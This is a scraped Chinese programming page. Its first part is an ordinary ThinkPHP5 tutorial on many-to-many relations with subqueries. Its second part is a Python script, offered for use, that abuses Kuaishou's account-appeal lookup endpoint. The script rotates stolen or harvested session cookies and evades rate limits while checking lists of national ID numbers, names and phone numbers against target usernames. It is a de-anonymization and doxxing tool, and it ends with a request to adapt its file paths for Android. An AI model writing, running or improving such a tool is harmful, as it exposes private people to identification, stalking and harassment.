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tp5 多对多关联with 子查询

时间: 2024-12-31 15:42:23 浏览: 55
### ThinkPHP5 中多对多关联查询使用 `with` 方法结合子查询 在 ThinkPHP5 中处理复杂的多对多关系时,可以利用 `with()` 方法来优化性能并简化代码逻辑。对于涉及子查询的情况,可以通过定义合适的模型关联以及构建合理的查询语句来实现。 #### 定义多对多关联 假设存在两个实体:`ContactModel`(联系人) 和 `EnterpriseModel`(企业),二者之间通过中间表 `relation_table` 建立了多态或多对多的关系。为了仅获取特定类型的关联记录(比如这里是指定 type=3 的企业),可以在 ContactModel 类中定义如下方法: ```php public function enterprises() { return $this->belongsToMany( 'app\model\EnterpriseModel', 'relation_table', // 中间表名称 'contact_id', // 当前模型外键名 'enterprise_id' // 关联模型外键名 )->where('type', '=', 3); // 添加额外的筛选条件 } ``` 此部分配置确保当调用该关联时自动应用指定的过滤规则[^1]。 #### 使用 `with` 进行预加载 为了让查询更加高效,应该尽可能减少数据库交互次数。因此,在实际项目开发过程中推荐采用 `with()` 来一次性抓取所需数据而不是单独请求每一个对象的数据集。例如要获得某个联系人的所有符合条件的企业列表,则可这样操作: ```php $contacts = \app\model\ContactModel::with(['enterprises'])->select(); foreach ($contacts as $contact){ echo "Contact ID:".$contact['id']." has these enterprises:\n"; foreach($contact->enterprises as $enterprise){ echo "- Enterprise Name: ".$enterprise['name']."\n"; } } ``` 这段代码展示了如何先从 `ContactModel` 表里选出所有的联系人,并且预先加载他们各自对应的经过筛选后的合作企业信息。注意这里的 `'enterprises'` 是之前自定义的方法名字[^2]。 #### 结合子查询进一步定制化需求 如果还需要基于某些动态参数或者其他复杂业务场景来进行更深层次的数据挖掘,那么就可以考虑引入子查询的概念。具体来说就是在原有基础上增加一层嵌套式的 SQL 查询表达式作为附加条件之一。举个例子,如果我们想要找出那些在过去一年内有过交易活动的合作企业的话,可能会这样做: ```php use think\Db; // 构建时间范围内的订单统计子查询 $subQuery = Db::table('orders') ->field('COUNT(*) AS order_count, enterprise_id') ->whereTime('created_at', 'yesterday.year') ->group('enterprise_id'); // 将其应用于主查询之中 $contacts = \app\model\ContactModel::with([ 'enterprises'=>function($query) use ($subQuery){ $query->leftJoin("( {$subQuery} ) orders", 'enterprises.id','=','orders.enterprise_id'); ->havingRaw('order_count > ?', [0]); }]) ->select(); foreach ($contacts as $contact){ ... } ``` 上述片段说明了怎样把一个计算最近一年订单数量的小查询融入到主要的选择流程当中去,从而达到精准定位活跃企业的目的。当然这只是一个简单的示意,实际情况可能更为复杂一些[^3]。
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import requests import json import time import os from datetime import datetime COOKIE_FILE = "cookies.txt" #放ck,越多速度可以调越快 DATA_FILE = "data.txt" #放身份证和名字 PHONE_FILE = "phones.txt" #放手机号 REQUEST_INTERVAL = 1.5 #速度单位秒 MAX_RETRY = 3 #重试次数 RATE_LIMIT_WAIT = 1 #频率限制等待时间 class CookieManager: def __init__(self): self.cookies = [] self.failed_cookies = set() self.last_used_time = {} self.current_round_order = [] self.current_index = 0 try: self.load_cookies() except Exception as e: print(f"⚠️ 初始化警告: {str(e)}") if not self.cookies: self.add_new_cookie(first_time=True) def load_cookies(self): try: with open(COOKIE_FILE, "r", encoding="utf-8") as f: self.cookies = [line.strip() for line in f if line.strip()] if not self.cookies: print("⚠️ Cookie文件为空") else: print(f"✅ 已加载 {len(self.cookies)} 个有效Cookie") except FileNotFoundError: print("⚠️ Cookie文件不存在,将创建新文件") open(COOKIE_FILE, 'w').close() def get_cookie(self): valid_cookies = [c for c in self.cookies if c not in self.failed_cookies] while not valid_cookies: print("⚠️ 无可用Cookie,请添加新Cookie") if self.add_new_cookie(): valid_cookies = [c for c in self.cookies if c not in self.failed_cookies] else: raise Exception("用户取消输入,终止操作") current_valid_set = set(valid_cookies) current_round_set = set(self.current_round_order) if ( not self.current_round_order or current_valid_set != current_round_set or self.current_index >= len(self.current_round_order) ): sorted_cookies = sorted(valid_cookies, key=lambda x: self.last_used_time.get(x, 0)) self.current_round_order = sorted_cookies self.current_index = 0 selected = self.current_round_order[self.current_index] self.current_index += 1 self.last_used_time[selected] = time.time() return selected def mark_failed(self, cookie, reason=""): self.failed_cookies.add(cookie) print(f" 标记失效Cookie:{cookie[:15]}... 原因:{reason or '未知'}") def add_new_cookie(self, first_time=False): prompt = "请输入新Cookie" + ("(直接回车将退出程序)" if first_time else "(直接回车跳过)") new_cookie = input(prompt + ":").strip() if not new_cookie: if first_time: raise Exception("必须至少提供一个Cookie") return False if new_cookie not in self.cookies: self.cookies.append(new_cookie) with open(COOKIE_FILE, "a", encoding="utf-8") as f: f.write(new_cookie + "\n") print("✅ 新Cookie已添加") return True return False def extract_user_names(data): user_names = [] if isinstance(data, dict): for key, value in data.items(): if key == "userName": try: # 尝试UTF-8编码 user_name = str(value).encode('utf-8').decode('utf-8') except UnicodeError: # 如果编码失败,替换非UTF-8字符为* user_name = ''.join(c if ord(c) < 128 else '*' for c in str(value)) user_names.append(user_name) elif isinstance(value, (dict, list)): user_names.extend(extract_user_names(value)) elif isinstance(data, list): for item in data: user_names.extend(extract_user_names(item)) return user_names def handle_rate_limit(cookie_manager, current_cookie): print(f"× 触发频率限制,等待 {RATE_LIMIT_WAIT} 秒...") time.sleep(RATE_LIMIT_WAIT) cookie_manager.mark_failed(current_cookie, "频率限制") return cookie_manager.get_cookie() def make_request(url, headers, payload, cookie_manager): for attempt in range(MAX_RETRY): try: current_cookie = cookie_manager.get_cookie() headers['Cookie'] = current_cookie response = requests.post( url, headers=headers, json=payload, timeout=15 ) if "操作太快了" in response.text: current_cookie = handle_rate_limit(cookie_manager, current_cookie) continue response.raise_for_status() return response, None except requests.exceptions.HTTPError as e: if e.response.status_code in (401, 403): cookie_manager.mark_failed(current_cookie, f"HTTP {e.response.status_code}") if cookie_manager.add_new_cookie(): continue return None, f"HTTP错误: {str(e)}" except Exception as e: return None, f"请求失败: {str(e)}" finally: time.sleep(REQUEST_INTERVAL) return None, "超过最大重试次数" def query_associated_account(account, cookie_manager): url = "https://app.m.kuaishou.com/rest/wd/account/appeal/v2/find" headers = { 'User-Agent': "Mozilla/5.0 (Linux; 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Exception as e: return {"status": "error", "error": str(e)} def verify_phone(phone_number, cookie_manager, target_users): url = "https://app.m.kuaishou.com/rest/wd/account/appeal/v2/find" headers = { 'User-Agent': "Mozilla/5.0 (Linux; Android 13; V2312A Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/115.0.5790.166 Mobile Safari/537.36 KSSO/Android/13.3.40.41578", 'Content-Type': 'application/json' } payload = {"account": phone_number, "findType": 1} response, error = make_request(url, headers, payload, cookie_manager) if error: return {"status": "error", "error": error} try: json_data = response.json() if json_data.get("result") == 400010: return {"status": "error", "error": "Cookie已过期"} found_users = list(set(extract_user_names(json_data))) user_status = [] for user in found_users: if user in target_users: user_status.append(f"{user}✅✅✅") else: user_status.append(f"{user}❌❌❌") return { "status": "success", "user_status": user_status, "http_status": response.status_code } except Exception as e: return {"status": "error", "error": str(e)} def load_data_file(filename): try: with open(filename, "r", encoding="utf-8") as f: return True, [line.strip() for line in f if line.strip()] except FileNotFoundError: return False, f"{filename} 文件不存在" except Exception as e: return False, f"文件读取失败: {str(e)}" def get_target_users(cookie_manager): print("\n选择用户名输入方式:") print("1. 输入快手号自动获取关联账号") print("2. 直接输入用户名例如“不知名的情”") choice = input("请输入选项 (1/2): ").strip() target_users = [] if choice == '1': account = input("请输入快手号:").strip() users, error = query_associated_account(account, cookie_manager) if error: print(f"❌ 查询失败: {error}") return None target_users = users print("\n找到关联账号:" + ",".join(users).encode('utf-8', 'ignore').decode() if users else "未找到关联账号") elif choice == '2': users = input("请输入用户名(多个用逗号分隔): ").strip().split(',') target_users = [u.strip() for u in users if u.strip()] else: print("❌ 无效选项") return None if not target_users: print("❌ 未获取到有效目标用户") return None return target_users # In the process_id_verification function, modify the loop section: def process_id_verification(cookie_manager): print("\n" + "="*40) print("开始身份证核验流程...") target_users = get_target_users(cookie_manager) if not target_users: return status, id_data = load_data_file(DATA_FILE) if not status: print(f"❌ {id_data}") return successful_matches = [] total_items = len(id_data) completed = 0 for line in id_data: if not line.strip(): continue parts = line.split(maxsplit=1) if len(parts) != 2: print(f"无效数据格式:{line}") completed += 1 continue name, id_card = parts[0], parts[1] result = verify_id_card(id_card, name, cookie_manager, target_users) base_output = f"{name}-{id_card}-" if result["status"] != "success": error = result.get("error", "未知错误").split(":")[-1].strip() print(f"{base_output}{error}❌❌❌ (已完成 {completed+1}/{total_items}/{total_items-completed-1})") completed += 1 continue if result.get("user_status"): users_str = ",".join(result["user_status"]) final_output = f"{base_output}{users_str}" print(f"{final_output} (已完成 {completed+1}/{total_items}/{total_items-completed-1})") if any("✅" in s for s in result["user_status"]): successful_matches.append(final_output) else: print(f"{base_output}无关联账号❌❌❌ (已完成 {completed+1}/{total_items}/{total_items-completed-1})") completed += 1 print("\n" + "="*40) print("身份证核验结果(仅显示匹配项):") if successful_matches: for match in successful_matches: print(match.replace("✅", "\033[32m✅\033[0m").replace("❌", "\033[31m❌\033[0m")) else: print("无成功匹配记录") # Similarly, modify the process_phone_verification function: def process_phone_verification(cookie_manager): print("\n" + "="*40) print("开始手机号绑定查询...") target_users = get_target_users(cookie_manager) if not target_users: return status, phones = load_data_file(PHONE_FILE) if not status: print(f"❌ {phones}") return successful_matches = [] total_items = len(phones) completed = 0 for phone in phones: result = verify_phone(phone, cookie_manager, target_users) base_output = f"{phone}-" if result["status"] != "success": error = result.get("error", "未知错误").split(":")[-1].strip() print(f"{base_output}{error}❌❌❌ (已完成 {completed+1}/{total_items}/{total_items-completed-1})") completed += 1 continue if result.get("user_status"): users_str = ",".join(result["user_status"]) final_output = f"{base_output}{users_str}" print(f"{final_output} (已完成 {completed+1}/{total_items}/{total_items-completed-1})") if any("✅" in s for s in result["user_status"]): successful_matches.append(final_output) else: print(f"{base_output}无关联账号❌❌❌ (已完成 {completed+1}/{total_items}/{total_items-completed-1})") completed += 1 print("\n" + "="*40) print("手机号绑定结果(仅显示匹配项):") if successful_matches: for match in successful_matches: print(match.replace("✅", "\033[32m✅\033[0m").replace("❌", "\033[31m❌\033[0m")) else: print("无成功匹配记录") def main(): print("="*40) print("快手账号关联查询系统 v4.6") print("风月制作@fengyuettkx") print("频道https://t.me/fengyuexiaowo") try: cm = CookieManager() except Exception as e: print(f"❌ 初始化失败: {str(e)}") if "必须至少提供一个Cookie" in str(e): print("请创建cookies.txt文件或运行程序时添加Cookie") return print("\n请选择功能:") print("1. 身份证实名账号查询") print("2. 手机号绑定查询") choice = input("请输入选项 (1/2): ").strip() if choice == '1': process_id_verification(cm) elif choice == '2': process_phone_verification(cm) else: print("❌ 无效选项") if __name__ == "__main__": main()把访问文件目录放在/storage/emulated/0/

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